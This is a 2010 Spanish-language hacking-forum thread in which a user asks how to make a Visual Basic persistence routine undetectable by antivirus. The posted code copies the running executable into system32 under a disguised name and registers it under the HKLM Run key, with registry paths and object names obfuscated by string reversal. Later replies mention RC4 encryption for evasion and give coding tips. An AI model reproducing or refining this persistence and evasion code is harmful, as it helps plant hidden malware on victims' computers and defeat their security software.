Página 1 de 1

Me salta heuristica por tocar registro {VB} / startup window

Publicado: 06 Ago 2010, 02:22
por zentido
Bueno estaba intentando hacer que al ejecutar un exe se grave en una carpeta run del registro de windows el exe.. bueno.. intente camuflarlo un poco .. en verdad soy malo en vb no es lo mio xD, pero bueno... aver que me recomiendan... alguna forma de hacer indetectabl* .

Gracias de antemano .. aqui el codigo:

Código: Seleccionar todo

    Dim Archeveto As String
    Dim ramasaI As String, datoI As String, ik4faws As String, fiiiifr3 As String
    Dim ObjetoxI

    ik4faws = "nuR\noisreVtnerruC"
    fiiiifr3 = "ENIHCAM_LACOL_YEKH"

    Archeveto = Environ("windir") & "\system32\6g.exe"
   
    If Dir(Archeveto, vbArchive) = "" Then
    Dim Copiado As Boolean
    Copiado = APIFileCopy(App.Path & "\" & App.EXEName & ".exe", Environ("windir") & "\system32\6g.exe")
    End If
    
    ramasaI = StrReverse("elomacaW\" & ik4faws & "\swodniW\tfosorciM\erawtfoS\" & fiiiifr3)
    datoI = Archeveto
    Set ObjetoxI = CreateObject(StrReverse("llehs.tpircsw"))
    ObjetoxI.regwrite ramasaI, datoI

bueno esa es mi forma de hacerlo je", ¬¬" si que soy malo .. aver si alguien me ayuda.. intente antes declarando apis.. peor fue más horroso saltaron 3 avs mas xD

Aver si me ayudan =)
Saludos xD

Re: Me salta heuristica por tocar registro {VB} / startup wi

Publicado: 06 Ago 2010, 04:39
por zentido
lo solucione .. encriptacion RC4. tome ejemplos del KPC

Hasta luego !

Re: Me salta heuristica por tocar registro {VB} / startup wi

Publicado: 06 Ago 2010, 13:35
por p0is0n-123
Consejos...
datoI = Archeveto /*Podrias usar la propia variable la igualacion es code basura
Puedes usar APIs para copiarlo al registro aunque de esa forma no debrias de tener problemas

Salu2